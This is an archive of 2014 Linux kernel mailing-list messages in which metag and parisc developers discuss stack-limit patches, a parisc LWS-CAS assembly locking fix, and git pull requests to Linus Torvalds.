	<linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, <linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	<linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
To: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Thu May 15 01:25:25 2014
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1WkiY8-0003N4-Gu
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Thu, 15 May 2014 01:25:24 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1752034AbaENXZX (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Wed, 14 May 2014 19:25:23 -0400
Original-Received: from [217.156.133.130] ([217.156.133.130]:42622 "EHLO
	imgpgp01.kl.imgtec.org" rhost-flags-FAIL-FAIL-OK-FAIL)
	by vger.kernel.org with ESMTP id S1751660AbaENXZW (ORCPT
	<rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Wed, 14 May 2014 19:25:22 -0400
Original-Received: from imgpgp01.kl.imgtec.org (imgpgp01.kl.imgtec.org [127.0.0.1])
	by imgpgp01.kl.imgtec.org (PGP Universal) with ESMTP id D10EE41F8D8E;
	Thu, 15 May 2014 00:25:20 +0100 (BST)
Original-Received: from mailapp01.imgtec.com ([10.100.180.241])
  by imgpgp01.kl.imgtec.org (PGP Universal service);
  Thu, 15 May 2014 00:25:20 +0100
X-PGP-Universal: processed;
	by imgpgp01.kl.imgtec.org on Thu, 15 May 2014 00:25:20 +0100
Original-Received: from KLMAIL01.kl.imgtec.org (unknown [192.168.5.35])
	by Websense Email Security Gateway with ESMTPS id 3CC091ED9B7E5;
	Thu, 15 May 2014 00:25:16 +0100 (IST)
Original-Received: from LEMAIL01.le.imgtec.org (192.168.152.62) by
 KLMAIL01.kl.imgtec.org (192.168.5.35) with Microsoft SMTP Server (TLS) id
 14.3.181.6; Thu, 15 May 2014 00:25:20 +0100
Original-Received: from [192.168.154.101] (192.168.154.101) by LEMAIL01.le.imgtec.org
 (192.168.152.62) with Microsoft SMTP Server (TLS) id 14.3.174.1; Thu, 15 May
 2014 00:25:19 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0
In-Reply-To: <5373C28C.3040106-Mmb7MZpHnFY@public.gmane.org>
X-Enigmail-Version: 1.6
X-Originating-IP: [192.168.154.101]
X-ESG-ENCRYPT-TAG: 96d62635
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:206 gmane.linux.kernel.cross-arch:22995 gmane.linux.ports.parisc:5799
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/206>

--FmsEtE3KekkjGM54OudD0OkHRBhhpevf7
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable

Hi Helge,

On 14/05/14 20:22, Helge Deller wrote:
> On 05/14/2014 02:52 PM, James Hogan wrote:
>> Patch 1 is a metag bug fix for v3.15 & stable.
>>
>> Patch 2 depends on patch 1, and makes the stack limit configurable.
>> Helge: I don't object if you want to take this patch yourself since it=

>> was originally yours, so long as it goes after patch 1 (which I'll try=

>> and get into v3.15-rc6).
>=20
> Thanks for cleaning it up!
> I'd really prefer if you could push the whole series through your tree.=

> That way you can easily ensure the correct sequence.

Okay, no problem, and I see the parisc patch is already in mainline.

> IMHO, it would be nice if all four patches would still go into 3.15, es=
p.
> since it affects our platforms (parisc & metag) only.

Right. That doesn't sound unreasonable since patch 2 restores default
80MB stacks for parisc, patch 3 may prevent confusing userland, and
patch 4 is just an obvious cleanup as a result of earlier patches.

Cheers
James

>=20
> Helge
>=20
>>
>> Patch 3 depends on patch 1, and removes the RLIMIT_STACK default value=

>> for metag. I'll take this through metag tree for v3.16.
>>
>> Patch 4 depends on patch 3 and the corresponding parisc patch and
>> removes the ability to override the default hard RLIMIT_STACK. Dependi=
ng
>> on when the parisc patch reaches mainline I'll try and get this in for=

>> v3.16.
>>
>> Helge Deller (1):
>>   parisc,metag: Do not hardcode maximum userspace stack size
>>
>> James Hogan (3):
>>   metag: Reduce maximum stack size to 256MB
>>   metag: Remove _STK_LIM_MAX override
>>   asm-generic: remove _STK_LIM_MAX
>>
>>  arch/metag/include/asm/processor.h     |  2 ++
>>  arch/metag/include/uapi/asm/Kbuild     |  2 +-
>>  arch/metag/include/uapi/asm/resource.h |  7 -------
>>  arch/parisc/include/asm/processor.h    |  5 +++++
>>  arch/parisc/kernel/sys_parisc.c        |  6 +++---
>>  fs/exec.c                              |  6 +++---
>>  include/asm-generic/resource.h         |  2 +-
>>  include/uapi/asm-generic/resource.h    |  7 -------
>>  mm/Kconfig                             | 15 +++++++++++++++
>>  9 files changed, 30 insertions(+), 22 deletions(-)
>>  delete mode 100644 arch/metag/include/uapi/asm/resource.h
>>
>> Cc: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
>> Cc: "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>
>> Cc: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
>> Cc: John David Anglin <dave.anglin-CzeTG9NwML0@public.gmane.org>
>> Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
>> Cc: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
>> Cc: linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
>>
>=20


--FmsEtE3KekkjGM54OudD0OkHRBhhpevf7
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="signature.asc"

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.22 (GNU/Linux)

iQIcBAEBAgAGBQJTc/tfAAoJEGwLaZPeOHZ6DhUP/2TlOvuMrdpijyMeLu6mzd6D
tqNwZCw35jqG9SZHKzytGc3H7XCvS/WePh6X189R9ToOneAK8FSKnp/hF6dLjywL
eOlE6ygYcMosTRVjNgGD06NxKSB0v+drqgbjXHEZI2rXnjddaoT0qy/6qYp9t95n
VK2cZ2R7mI6hPPY1OrGkty4FdcWLTdDN4QQrPpXat0V125S9u57f3Ptdp9CXk6bR
aAm85bb0ZEOKzlBttcQwBfJ+eAUPNnAExuXZzrCrY9FqPBOM2A0fyKaXB/uJpNOQ
UTr0qXVAYPiynJf1Kr84cP0wEMpgqxD7rf4HnCW3BMk77t6xoIJxVqeTbRCCMmyN
KeyDNu7UgnMm/iPjy2U+LtAVVdhrVBt2+X8EFI1uX3rgWmOTG65yqky6VU6hK/FT
q0fOkKoe+HXn8Ds81ktgh7Yq0sESex1EEVJKCsx3YEsiA8yausTWPJOCx6gyc/+3
aUOnmqFo+zD8umtVbmZZRswZ+ES92ASiLp6CcYyp9ZUFqb5jR8yDveBzy1aRCCRX
9J4kV4S6b6tx8tT6HUGJ1hWJC4iu/Td8Wh60GgjNRU3wf2JrdVzb2BU3R57RUAG9
RPtWsGJRmqv//xO6OgR+3MdJ9msr8AQP4wAjbGao050ttKaXGQO8ORGJUb8X+Gum
86sij8b/3b4mgzsf49ea
=NzJq
-----END PGP SIGNATURE-----

--FmsEtE3KekkjGM54OudD0OkHRBhhpevf7--
--
To unsubscribe from this list: send the line "unsubscribe linux-metag" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: [PATCH 17/25] parisc: Add 32 bit time_t and clock_t
Date: Wed, 14 May 2014 17:34:56 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <53740BB0.1050708@zytor.com>
References: <1399971456-3941-1-git-send-email-lftan@altera.com> <1399971966-4598-1-git-send-email-lftan@altera.com> <53727DE8.7000105@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1400114153 12993 80.91.229.3 (15 May 2014 00:35:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 15 May 2014 00:35:53 +0000 (UTC)
Cc: lftan.linux@gmail.com, cltang@codesourcery.com,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>, Ley Foon Tan <lftan@altera.com>,
	linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu May 15 02:35:44 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Wkje9-0007Dv-7d
	for glk-linux-kernel-3@plane.gmane.org; Thu, 15 May 2014 02:35:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753848AbaEOAfa (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 14 May 2014 20:35:30 -0400
Original-Received: from terminus.zytor.com ([198.137.202.10]:34763 "EHLO mail.zytor.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753795AbaEOAf0 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Wed, 14 May 2014 20:35:26 -0400
Original-Received: from anacreon.sc.intel.com (jfdmzpr04-ext.jf.intel.com [134.134.137.73])
	(authenticated bits=0)
	by mail.zytor.com (8.14.7/8.14.5) with ESMTP id s4F0Z1Z5005735
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO);
	Wed, 14 May 2014 17:35:02 -0700
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0
In-Reply-To: <53727DE8.7000105@gmx.de>
X-Enigmail-Version: 1.6
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1704089 gmane.linux.kernel.cross-arch:22997 gmane.linux.ports.parisc:5800
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1704089>

On 05/13/2014 01:17 PM, Helge Deller wrote:
> 
> We can't use CONFIG_64BIT for a userspace header file. Please use 
> #if !defined(__LP64__)
> instead.
> But even then I'm not sure if it's all correct...
> 

__u64 (or __s64) works fine in that case.

	-hpa



From - Thu Nov 08 21:10:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Improve LWS-CAS performance (take 2)
Date: Thu, 15 May 2014 08:33:10 -0400
Lines: 95
Approved: news@gmane.org
Message-ID: <BLU0-SMTP917CD5D331D850FC5B68BE97360@phx.gbl>
References: <BLU0-SMTP178D56FBECCDEE0B3D0BE6974A0@phx.gbl> <CAE2sS1i7gDUwq+bRoSNhw+kCBsA-cDAzHs4O03yHuWUxqJE-wQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-11-943196040"
X-Trace: ger.gmane.org 1400157229 5464 80.91.229.3 (15 May 2014 12:33:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 15 May 2014 12:33:49 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 15 14:33:41 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Wkuqv-0008Fu-7W
	for glpp-linux-parisc@plane.gmane.org; Thu, 15 May 2014 14:33:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751559AbaEOMdb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 15 May 2014 08:33:31 -0400
Original-Received: from blu0-omc4-s8.blu0.hotmail.com ([65.55.111.147]:4069 "EHLO
	blu0-omc4-s8.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751298AbaEOMd3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 15 May 2014 08:33:29 -0400
Original-Received: from BLU0-SMTP91 ([65.55.111.137]) by blu0-omc4-s8.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 15 May 2014 05:33:28 -0700
X-TMN: [/l1/0U2Tbdp1QIDPhgAXR6ro4kyQGyGj]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.84.123]) by BLU0-SMTP91.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 15 May 2014 05:33:26 -0700
In-Reply-To: <CAE2sS1i7gDUwq+bRoSNhw+kCBsA-cDAzHs4O03yHuWUxqJE-wQ@mail.gmail.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 15 May 2014 12:33:26.0896 (UTC) FILETIME=[DEB62700:01CF7039]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5801
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5801>

--Apple-Mail-11-943196040
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

On 13-May-14, at 11:31 PM, Carlos O'Donell wrote:

>> 2) Removes the lock code on UP systems where it is not needed, and
>
> This is wrong. The locking was originally only for SMP, but at one
> point it was discovered that you could COW during the CAS operation
> and if you didn't take the lock in UP, you could re-enter the CAS via
> another task and thus incorrectly carry out the CAS in two different
> threads and corrupt the state.

The attached file updates the change so that the lock code is no  
longer removed
on UP systems.  I added a comment to indicate that contention can  
occur even on
UP systems.

Lightly tested with a build of kyotocabinet on c3750.

Signed-off-by: John David Anglin <dave.anglin@bell.net>
---


--Apple-Mail-11-943196040
Content-Disposition: attachment; filename="syscall.S.d.1.txt"
Content-Type: text/plain; x-unix-mode=0644; name="syscall.S.d.1.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index a63bb179..8387860 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -589,10 +589,13 @@ cas_nocontend:
 # endif
 /* ENABLE_LWS_DEBUG */
 
+	rsm	PSW_SM_I, %r0				/* Disable interrupts */
+	/* COW breaks can cause contention on UP systems */
 	LDCW	0(%sr2,%r20), %r28			/* Try to acquire the lock */
 	cmpb,<>,n	%r0, %r28, cas_action		/* Did we get it? */
 cas_wouldblock:
 	ldo	2(%r0), %r28				/* 2nd case */
+	ssm	PSW_SM_I, %r0
 	b	lws_exit				/* Contended... */
 	ldo	-EAGAIN(%r0), %r21			/* Spin in userspace */
 
@@ -619,15 +622,17 @@ cas_action:
 	stw	%r1, 4(%sr2,%r20)
 #endif
 	/* The load and store could fail */
-1:	ldw	0(%sr3,%r26), %r28
+1:	ldw,ma	0(%sr3,%r26), %r28
 	sub,<>	%r28, %r25, %r0
-2:	stw	%r24, 0(%sr3,%r26)
+2:	stw,ma	%r24, 0(%sr3,%r26)
 	/* Free lock */
-	stw	%r20, 0(%sr2,%r20)
+	stw,ma	%r20, 0(%sr2,%r20)
 #if ENABLE_LWS_DEBUG
 	/* Clear thread register indicator */
 	stw	%r0, 4(%sr2,%r20)
 #endif
+	/* Enable interrupts */
+	ssm	PSW_SM_I, %r0
 	/* Return to userspace, set no error */
 	b	lws_exit
 	copy	%r0, %r21
@@ -639,6 +644,7 @@ cas_action:
 #if ENABLE_LWS_DEBUG
 	stw	%r0, 4(%sr2,%r20)
 #endif
+	ssm	PSW_SM_I, %r0
 	b	lws_exit
 	ldo	-EFAULT(%r0),%r21	/* set errno */
 	nop

--Apple-Mail-11-943196040
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit



--
John David Anglin	dave.anglin@bell.net


--Apple-Mail-11-943196040--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Hogan <james.hogan@imgtec.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.metag
Subject: [GIT PULL] Metag architecture and related fixes for v3.15
Date: Fri, 16 May 2014 15:41:46 +0100
Lines: 103
Approved: news@gmane.org
Message-ID: <537623AA.5040906@imgtec.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature";
	boundary="skgagQvT0IPFiF7DF6rKCIW4RESSuBj3B"
X-Trace: ger.gmane.org 1400251328 17108 80.91.229.3 (16 May 2014 14:42:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 16 May 2014 14:42:08 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Mikulas Patocka <mpatocka@redhat.com>,
	linux-metag <linux-metag@vger.kernel.org>,
	<linux-parisc@vger.kernel.org>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 16 16:42:01 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WlJKi-0008TI-IU
	for glpp-linux-parisc@plane.gmane.org; Fri, 16 May 2014 16:42:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756434AbaEPOl7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 16 May 2014 10:41:59 -0400
Original-Received: from [217.156.133.130] ([217.156.133.130]:17216 "EHLO
	imgpgp01.kl.imgtec.org" rhost-flags-FAIL-FAIL-OK-FAIL)
	by vger.kernel.org with ESMTP id S1756202AbaEPOl6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 16 May 2014 10:41:58 -0400
Original-Received: from imgpgp01.kl.imgtec.org (imgpgp01.kl.imgtec.org [127.0.0.1])
	by imgpgp01.kl.imgtec.org (PGP Universal) with ESMTP id 90CEA41F8DF9;
	Fri, 16 May 2014 15:41:56 +0100 (BST)
Original-Received: from mailapp01.imgtec.com ([10.100.180.242])
  by imgpgp01.kl.imgtec.org (PGP Universal service);
  Fri, 16 May 2014 15:41:56 +0100
X-PGP-Universal: processed;
	by imgpgp01.kl.imgtec.org on Fri, 16 May 2014 15:41:56 +0100
Original-Received: from KLMAIL01.kl.imgtec.org (unknown [192.168.5.35])
	by Websense Email Security Gateway with ESMTPS id EBBA5ED142662;
	Fri, 16 May 2014 15:41:53 +0100 (IST)
Original-Received: from KLMAIL02.kl.imgtec.org (192.168.5.97) by KLMAIL01.kl.imgtec.org
 (192.168.5.35) with Microsoft SMTP Server (TLS) id 14.3.181.6; Fri, 16 May
 2014 15:41:56 +0100
Original-Received: from LEMAIL01.le.imgtec.org (192.168.152.62) by
 klmail02.kl.imgtec.org (192.168.5.97) with Microsoft SMTP Server (TLS) id
 14.3.181.6; Fri, 16 May 2014 15:41:56 +0100
Original-Received: from [192.168.154.101] (192.168.154.101) by LEMAIL01.le.imgtec.org
 (192.168.152.62) with Microsoft SMTP Server (TLS) id 14.3.174.1; Fri, 16 May
 2014 15:41:55 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0
X-Enigmail-Version: 1.6
X-Originating-IP: [192.168.154.101]
X-ESG-ENCRYPT-TAG: 2110538f
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5802 gmane.linux.kernel.metag:210
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5802>

--skgagQvT0IPFiF7DF6rKCIW4RESSuBj3B
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable

Hi Linus,

Please pull the following metag / parisc fixes, mostly relating to upgrow=
ing
stacks. These changes only affect metag and parisc, and although the
asm-generic one isn't strictly a fix it's simple and follows naturally fr=
om
the other _STK_LIM_MAX override removals (here for metag and in rc4 for
parisc).

Thanks
James

The following changes since commit d6d211db37e75de2ddc3a4f979038c40df7cc7=
9c:

  Linux 3.15-rc5 (2014-05-09 13:10:52 -0700)

are available in the git repository at:

  git://git.kernel.org/pub/scm/linux/kernel/git/jhogan/metag.git tags/met=
ag-for-v3.15-2

for you to fetch changes up to ffe6902b66aaa4ca6694bc19639259c16d84ddb1:

  asm-generic: remove _STK_LIM_MAX (2014-05-15 00:32:09 +0100)

----------------------------------------------------------------
Metag architecture and related fixes for v3.15

Mostly fixes for metag and parisc relating to upgrowing stacks.

* Fix missing compiler barriers in metag memory barriers.
* Fix BUG_ON on metag when RLIMIT_STACK hard limit is increased beyond
  safe value.
* Make maximum stack size configurable. This reduces the default user
  stack size back to 80MB (especially on parisc after their removal of
  _STK_LIM_MAX override). This only affects metag and parisc.
* Remove metag _STK_LIM_MAX override to match other arches and follow
  parisc, now that it is safe to do so (due to the BUG_ON fix mentioned
  above).
* Finally now that both metag and parisc _STK_LIM_MAX overrides have
  been removed, it makes sense to remove _STK_LIM_MAX altogether.

----------------------------------------------------------------
Helge Deller (1):
      parisc,metag: Do not hardcode maximum userspace stack size

James Hogan (3):
      metag: Reduce maximum stack size to 256MB
      metag: Remove _STK_LIM_MAX override
      asm-generic: remove _STK_LIM_MAX

Mikulas Patocka (1):
      metag: fix memory barriers

 arch/metag/include/asm/barrier.h       |  3 +++
 arch/metag/include/asm/processor.h     |  2 ++
 arch/metag/include/uapi/asm/Kbuild     |  2 +-
 arch/metag/include/uapi/asm/resource.h |  7 -------
 arch/parisc/include/asm/processor.h    |  5 +++++
 arch/parisc/kernel/sys_parisc.c        |  6 +++---
 fs/exec.c                              |  6 +++---
 include/asm-generic/resource.h         |  2 +-
 include/uapi/asm-generic/resource.h    |  7 -------
 mm/Kconfig                             | 15 +++++++++++++++
 10 files changed, 33 insertions(+), 22 deletions(-)
 delete mode 100644 arch/metag/include/uapi/asm/resource.h


--skgagQvT0IPFiF7DF6rKCIW4RESSuBj3B
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="signature.asc"

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.22 (GNU/Linux)

iQIcBAEBAgAGBQJTdiOzAAoJEGwLaZPeOHZ6GIAP/0XC/23dihVESRnxhUta3WXp
pA00rqBdvoAvLpQl7F7ZCK4qUdEszAoMNXHFOWURBEWLoC64hzGQzsslJ4WugOut
BHzaT+YEhYvpMU1lC1nSu/zIDGBEvPljC6ia2NqcCr/J9Z3q+Dfp31cE/Rd4P+o3
NGtyLN5vuNff+A3E4WSAeKIDRqxC6r5uBefFAHdx2ixFDEk+tc82bIvEbK9VELig
Wj7VVgAtyYPyKzHoHVgGf/4OPPdLs0i4lSuICCOsbNQQaT76U3sRjB6fvmIeCV6J
6XgnqCZBFqjRzbl/AOpoJXkjO/8UrFZmX97mguR2eEMOS90IRFiNTzZBk6iTvfjl
Mzwxo482/azMI67NYxHFN0K2zgf3lLUD5ShkpiEPy7RGbcIL2OQ9V5keT1M1n7Y6
ZgXEF/MK1Elcs/xbJbBDcf7NQRlJAZbXwTHTQkO9BsixNTrB+eSvRm1xtwJ9GJrL
4b8Lmb1Q5cWVLh6AS3VPBsWiXMIz7+6SSbrB3p15pJR7CZkGmwh7jdJ9qen8udg0
L+ce/IOv6K7ZaLXuYQhawq/b/6YJCpnivle8GLRNbl183NZmLV48Jk8+LjzS8leb
mpE5Qo6xIFLSQ8E4ILPJ4eZgQyctXuhA+WKvJCyecDcJ5KsxNSDjA2qTjyBc9t6t
g9MyIEyt+GJnTHEMewPv
=Zrht
-----END PGP SIGNATURE-----

--skgagQvT0IPFiF7DF6rKCIW4RESSuBj3B--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc updates for v3.15
Date: Fri, 16 May 2014 22:01:12 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <20140516200112.GA1315@p100.fritz.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1400270487 31829 80.91.229.3 (16 May 2014 20:01:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 16 May 2014 20:01:27 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 16 22:01:20 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WlOJj-0006np-Al
	for glpp-linux-parisc@plane.gmane.org; Fri, 16 May 2014 22:01:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755874AbaEPUBS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 16 May 2014 16:01:18 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:61038 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755216AbaEPUBR (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 16 May 2014 16:01:17 -0400
Original-Received: from p100.fritz.box ([84.173.32.192]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0LlV71-1XJLUU3WTP-00bM67; Fri, 16 May 2014 22:01:14
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:OpxKHdNJNLPRiztuoXg57jIBCjwMKRaJcyUd0UlDi/oJqI/Hj0X
 X7xLZcFzQf5ohQHFgXaYnK3ei69p3h3b444JJX0PpLMhnQ8e7uJeMErWEn9/MaYTdz/lml9
 gZI5ZwTFQG+5xNpwAyOwor74RFP9Qew/r1QyTsrF5CSoQv7WGIQaHst6PTG2klrcHEzYAei
 87XRSN+f6/XTfUKigVjzg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5803 gmane.linux.kernel:1705712
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5803>

Hi Linus,

please pull the latest parisc architecture fixes for kernel 3.15 from 
  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-3.15-4

There are two patches in here:

The first patch greatly improves latency and corrects the memory ordering in
our light-weight atomic locking syscall.

The second patch ratelimits printing of userspace segfaults in the same way as
it's done on other platforms. This fixes a possible DOS on parisc since it
